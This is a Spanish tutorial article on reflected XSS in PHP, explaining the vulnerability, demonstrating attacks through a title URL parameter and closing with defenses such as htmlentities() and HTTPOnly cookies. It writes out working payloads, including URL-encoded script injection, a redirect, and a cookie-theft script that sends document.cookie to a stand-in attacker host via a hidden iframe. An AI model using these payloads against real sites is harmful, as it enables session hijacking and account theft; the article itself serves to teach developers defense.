Sobre XSS, no hay mucho que decir que no se haya dicho antes. Yo definiría a XSS como un ataque que se basa en explotar métodos poco correctos de programación para ejecutar script malicioso de cliente (comunmente JavaScript) al momento que un usuario desprevenido ingresa al sitio víctima del ataque. Que yo, atacante, pueda hacer que en el sitio víctima se ejecute un script JavaScript arbitrario, aunque a algunos les pueda parecer inofensivo, resulta realmente peligroso. Un código JavaScript puede redireccionar usuarios a otras URL's, puede cambiar la información que se muestra en el sitio y, quizá lo más interesante, puede obtener los valores de las cookies que el navegador del usuario posea en ese momento. Obtener el valor de las cookies equivale a obtener el Session ID (SID a partir de ahora), el cual se utiliza para que el servidor reconozca al usuario "Pepe" como "Pepe" y no como ningún otro. Suponiendo que se utiliza sistema de sesiones nativas de PHP (session_start() y sus secuaces), si yo tengo el SID de "Pepe" que se almacena en sus cookies, puedo ingresar como "Pepe" aunque no lo sea.
Tipos de vulnerabilidades y sus consecuencias
Lo que voy a mostrar aquí es uno de los tipos de vulnerabilidad XSS el cual es llamado "Tipo 1" o "No persistente". Una vulnerabilidad no persistente será aquella en la que el script malicioso debe ser enviado explícitamente mediante el navegador del usuario víctima cada vez que el atacante desea ejecutar código maligno en ese navegador. Para enviar script maligno se utilizan las variables $_GET, $_POST y $_COOKIES. Leyendo lo antedicho pueden que estén pensando en que un usuario nunca será tan inocente como para enviar código malicioso desde su navegador existiendo la posibilidad que sus cookies sean vulneradas... el problema es que el atacante puede inducir mediante Ingeniería Social al usuario víctima a hacer click en una URL del tipo index.php?titulo=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E con lo que ya se estaría logrando la inyección de código malicioso codificado e imperceptible para la visión de un usuario con poco conocimiento.
Por otra parte les comento solo a modo informativo que existen vulnerabilidades XSS "Tipo 2" o "Persistentes" en las cuales el código malicioso no necesita ser inyectado cada vez mediante el navegador del usuario víctima, sino que este código ha sido previamente guardado por el atacante en la base de datos que utiliza el sitio víctima. De esta forma cada vez que el sitio recupere y muestre registros de su base de datos, el script maligno estará allí y será ejecutado para cualquier usuario visitante. Es sencillo deducir que este tipo de vulnerabilidad puede resultar muchísimo más peligrosa debido a la persistencia del código maligno, pero en este artículo centraremos nuestra atención en el tipo anterior.
Entrando en tema: algunos ataques "inocentes"
Supongamos algo simple: una página que, para mostrar su título se vale de un parámetro recibido por la URL (via $_GET). Su código se vería algó así:
test.php
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-
<html>
-
<head>
-
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-
</head>
-
-
<body>
-
</body>
-
</html>
Pues bien, esto no parece demasiado peligroso y puede que sea algo que comunmente hacemos en nuestros scripts. Pero que tal si nuestro tan odiado atacante mediante Ingeniería Social induce a un pobre usuario víctima a ingresar con:
-
test.php?title=</title><script>alert("¡Este Sitio es un peligro!")</script>
Para quien no tenga ganas de probar le comento el resultado: en el sitio víctima saldrá un "cartelito" con el mensaje "Este Sitio es un peligro". Pueden argumentar con cierta razón que la URL anterior se me medio sospechosa, y que nadie en su sano juicio ingresaria al sitio clickeandola, pero siempre el atacante puede codificarla un poco para que se vea algo más inocente:
-
// Codificación realizada mediante urlencode() de PHP
-
test.php?title=%3C%2Ftitle%3E%3Cscript%3Ealert%28%22%A1Este+Sitio+es+un+peligro%21%22%29%3C%2Fscript%3E
Ahora ya no se ve tan peligrosa... quizá un usuario ingrese inocentemente llevándose la sorpresa del molesto cartelito.
Hasta ahora los ataques XSS no se ven tan dañinos; al fin y al cabo mostrar un alert() no daña demasiado a nadie. La realidad es que cuando en nuestro sitio dejamos abierta la posibilidad que nos ataquen mediante esta técnica, la gravedad del ataque está limitada únicamente a la imaginación del atacante y las posibilidades que nos brinda JavaScript. Cualquier cosa que JS permita hacer, puede ser realizada en un ataque XSS. Por ejemplo ¿qué pasaría si test.php fuera llamado de la esta manera?:
-
test.php?title=</title><script>location.href="http://www.google.com"</script>
Este supuesto ataque ya es un poco más serio que el anterior; el usuario víctima cree estar entrando en una URL cuando en realidad, al hacerlo, se lo redireccionará hacia otra URL arbitraria que el atacante decida. Ya, de a poco, se puede ver que no protegernos de vulnerabilidades XSS puede traernos algunas consecuencias. Veamos que pasa en el próximo ejemplo...
Adentrándonos en XSS: un ejemplo del mundo real
Existen varios ejemplos que pueden ver de ataques XSS realmente dañinos, pero no quisera hacer este artículo demasiado extenso para terminar aburriendolos. Vamos a pasar directamente al ejemplo que, espero, les haga tomar conciencia de que NO debemos dejar agujeros abiertos en nuestro sitio.
Vamos a tratar de robar el valor de las cookies de un usuario víctima haciendo que ese valor quede guardado en un archivo de texto para ser utilizado por el atacante cuando lo desee. Supondremos ahora un nuevo test.php que será igual al que utilizamos arriba exceptuando que llamaremos un session_start() al comienzo para que se cree una cookie que luego podamos robar. El código de test.php nos quedaría:
test.php
-
<?php
-
?>
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-
<html>
-
<head>
-
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-
</head>
-
-
<body>
-
</body>
-
</html>
Suponiendo que el atacante tiene un servidor web cuya URL es http://atacante.com, puede tener hosteado en el root del mismo dos archivos como los siguientes:
x.js
-
document.write("<iframe width='0' height='0' src='http://atacante.com/c.php?c="+document.cookie+"'></iframe>");
c.php
Entonces, si realizamos una llamada a test.php de esta forma:
-
// Podemos codificar la variable title como lo hicimos más arriba, para que no se vea tan sospechoso
-
test.php?title=</title><script src="http://atacante.com/x.js"></script>
Lo que sucedería seria: cuando test.php hace un hecho de $_GET['title'] estará en realidad incluyendo desde el servidor del atacante un archivo llamado x.js. Este archivo colocará dinámicamente en la página víctima un iframe cuyo atributo src será el archivo c.php del servidor atacante enviandole además como variable GET, la propiedad document.cookie, contenedora de los valores de todas las cookies del usuario víctima. Entonces el archivo c.php recibirá el valor de las cookies de la víctima con un $_GET['c'] y guardará todo en un archivo de texto archivo.txt para la posterior leída por parte del atacante. Incluso c.php podría enviarle un mail al atacante avisando que una nueva cookie ha sido capturada o, mejor aún, utilizar cURL (o sockets manualmente) para, con el SID capturado, tomar el control de la cuenta del usuario víctima.
Lo único que le restará al atacante es lograr que un usuario víctima ingrese al sitio víctima mediante la URL maliciosa pero... ¿qué tal si ese link es publicado en un foro o en una página de acceso masivo? ¿cuántas cuentras de usuario podría el atacante robar de esa forma? Creo que es algo en lo que debemos poner esfuerzo en protegernos.
¿Podemos protegernos de esto?
La moraleja de todo esto es: NUNCA, pero NUNCA muestren directamente variables que puedan ser manipuladas por un usuario. Al hacerlo nos arriesgamos a que nos ataquen a gusto y manera. SIEMPRE debemos procesar las variables que el usuario puede manipular, codificándolas de manera apropiada. PHP nos pone a disposición algunas funciones para dicha tarea como urlencode(), htmlentities() y sus secuaces. Con ellas debemos procesar de manera adecuada las variables antes de que sean mostradas en el navegador.
Existe también otra forma adicional de proteger nuestros sitios parcialmente: el uso de cookies de sesión HTTPOnly. Este tipo de cookies tiene la particularidad de que es imposible obtener su valor desde JavaScript (al menos en los navegadores más utilizados en sus últimas versiones). De esa forma todo ataque XSS que intente obtener el SID mediante document.cookie (como en el último ejemplo) quedará inutilizado. Pero hay que tener en cuenta que esta es una solución parcial que debe trabajar en conjunto con otras soluciones. Recuerden que estamos protegiendo las cookies del usuario, pero no estamos evitando otro tipos de ataques XSS como una redirección o cualquier otro. De todas formas, siempre que sea posible es bueno aplicar esta protección; el problema es que las sesiones nativas de PHP no utilizan este tipo de cookies por lo que debemos optar por desarrollar nuestro “Session Handler" o descargar de la web alguno ya realizado.
Para tomar en cuenta como desarrolladores web
Repito: no confiar en nada que pueda ser manipulado por un usuario. Espero haber dejado claro en el desarrollo de este artículo que un simple echo $_GET['var] nos puede traer miles de complicaciones, algunas de ellas muy graves.
Sobre el artículo
La licencia de este artículo la puedes ver aquí.